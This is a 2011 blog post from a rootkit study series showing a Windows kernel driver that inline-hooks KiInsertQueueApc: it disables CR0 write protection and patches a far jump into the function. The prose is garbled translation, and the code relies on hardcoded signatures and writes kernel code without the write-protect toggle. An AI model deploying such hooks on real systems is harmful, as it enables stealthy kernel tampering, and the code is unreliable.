Thursday, October 13, 2011

Learn and study Rootkit Specials 9: kernel hook - inline hook(2)

3)Two-dimensional array is used to save function front byte, Array form is array[15][30];
  Each function have 30 bytes usable on 15 function. First save orginal function front byte on 30 bytes, Then write 0xe9, Continue write array current place with original hook function address offset that we already copy bytecode after place among re;atove offset value.
  The array effect, when after hook function, execute to finish our hook function, Then need recover original api function, Because original api function front five bytes already is rewrite,  function original front byte already save to appropriate array, So there idea is, execute machine code on the array, array machine code execute to the end, jump to original function some offset place, continue to execute.

3.  Inline hook
1)  IoAllocateMdl ,Allocate one mdl, Hook function is mapping to here.
2)  MmProbeAndLockPages, Lock page
3)  do away with write-protect
4)  Save function front machine code to homologous  two-dimensional array, rewrite front five bytes, Let is jump to start address on .data:00034E98 jump table homologous jump function.
5)  Recover write-protect
6)  MmUnlockPages
7)  IoFreeMdl


4.  Revover After Inline hook


The example is hook了KiInsertQueueApc, Because KiInsertQueueApc isn't export, need find on KeInsetQueueApc.
#include <ntddk.h>
#include <ntifs.h>
ULONG g_KiInsertQueueApc;
char g_oricode[8];
ULONG g_uCr0;
char *non_paged_memory;

void WPOFF()
{
  
    ULONG uAttr;
  
    _asm
    {
        push eax;
        mov eax, cr0;
        mov uAttr, eax;
        and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
        mov cr0, eax;
        pop eax;
        cli
    };
  
    g_uCr0 = uAttr; //Save original CR0
  
}

VOID WPON()
{
  
    _asm
    {
        sti
        push eax;
        mov eax, g_uCr0; //Recover orginal CR
        mov cr0, eax;
        pop eax;
    };
  
}

__declspec(naked) my_function_detour_KiInsertQueueApc()
{
  __asm
  {   
    mov edi,edi
    push ebp
    mov  ebp, esp
    push ecx
    mov eax,ecx
    _emit 0xEA
    _emit 0xAA
    _emit 0xAA
    _emit 0xAA
    _emit 0xAA
    _emit 0x08
    _emit 0x00
  }
}

ULONG GetFunctionAddr( IN PCWSTR FunctionName)
{
    UNICODE_STRING UniCodeFunctionName;
    RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
    return (ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName );  

}

// 根据特征值,从KeInsertQueueApc搜索中搜索KiInsertQueueApc
ULONG FindKiInsertQueueApcAddress()
{
  char * Addr_KeInsertQueueApc = 0;
  int i = 0;
  char Findcode[] = { 0xE8, 0xcc, 0x29, 0x00, 0x00 };
  ULONG Addr_KiInsertQueueApc = 0;
    Addr_KeInsertQueueApc = (char *) GetFunctionAddr(L"KeInsertQueueApc");
  for(i = 0; i < 100; i ++)
  {
        if( Addr_KeInsertQueueApc[i] == Findcode[0] &&
      Addr_KeInsertQueueApc[i + 1] == Findcode[1] &&
      Addr_KeInsertQueueApc[i + 2] == Findcode[2] &&
      Addr_KeInsertQueueApc[i + 3] == Findcode[3] &&
      Addr_KeInsertQueueApc[i + 4] == Findcode[4]
      )
    {
      Addr_KiInsertQueueApc = (ULONG)&Addr_KeInsertQueueApc[i] + 0x29cc + 5;
      break;
    }
  }
  return Addr_KiInsertQueueApc;
}

VOID DetourFunctionKiInsertQueueApc()
{

  char *actual_function = (char *)g_KiInsertQueueApc;
  unsigned long detour_address;
  unsigned long reentry_address;
  KIRQL oldIrql;
  int i = 0;

  char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90 };

  reentry_address = ((unsigned long)g_KiInsertQueueApc) + 8;

  non_paged_memory = ExAllocatePool(NonPagedPool, 256);
 
  for(i=0;i<256;i++)
  {
    ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_KiInsertQueueApc)[i];
  }

  detour_address = (unsigned long)non_paged_memory;
 
  *( (unsigned long *)(&newcode[1]) ) = detour_address;

  for(i=0;i<200;i++)
  {
    if( (0xAA == ((unsigned char *)non_paged_memory)[i]) &&
      (0xAA == ((unsigned char *)non_paged_memory)[i+1]) &&
      (0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&
      (0xAA == ((unsigned char *)non_paged_memory)[i+3]))
    {
      *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address;
      break;
    }
  }


    oldIrql = KeRaiseIrqlToDpcLevel();
  for(i=0;i < 8;i++)
  {
    g_oricode[i] = actual_function[i];
    actual_function[i] = newcode[i];
  }
    KeLowerIrql(oldIrql);
}

VOID UnDetourFunction()
{
    char *actual_function = (char *)g_KiInsertQueueApc;
  KIRQL oldIrql;
  int i = 0;
 
  WPOFF();
  oldIrql = KeRaiseIrqlToDpcLevel();

  for(i=0;i < 8;i++)
  {
    actual_function[i] = g_oricode[i];
  }
    KeLowerIrql(oldIrql);
    WPON();
  ExFreePool(non_paged_memory);
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
  DbgPrint("My Driver Unloaded!");
  UnDetourFunction();
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
  DbgPrint("My Driver Loaded!");
  theDriverObject->DriverUnload = OnUnload;
   
    g_KiInsertQueueApc = FindKiInsertQueueApcAddress();
  DetourFunctionKiInsertQueueApc();

  return STATUS_SUCCESS;
}

No comments:

Post a Comment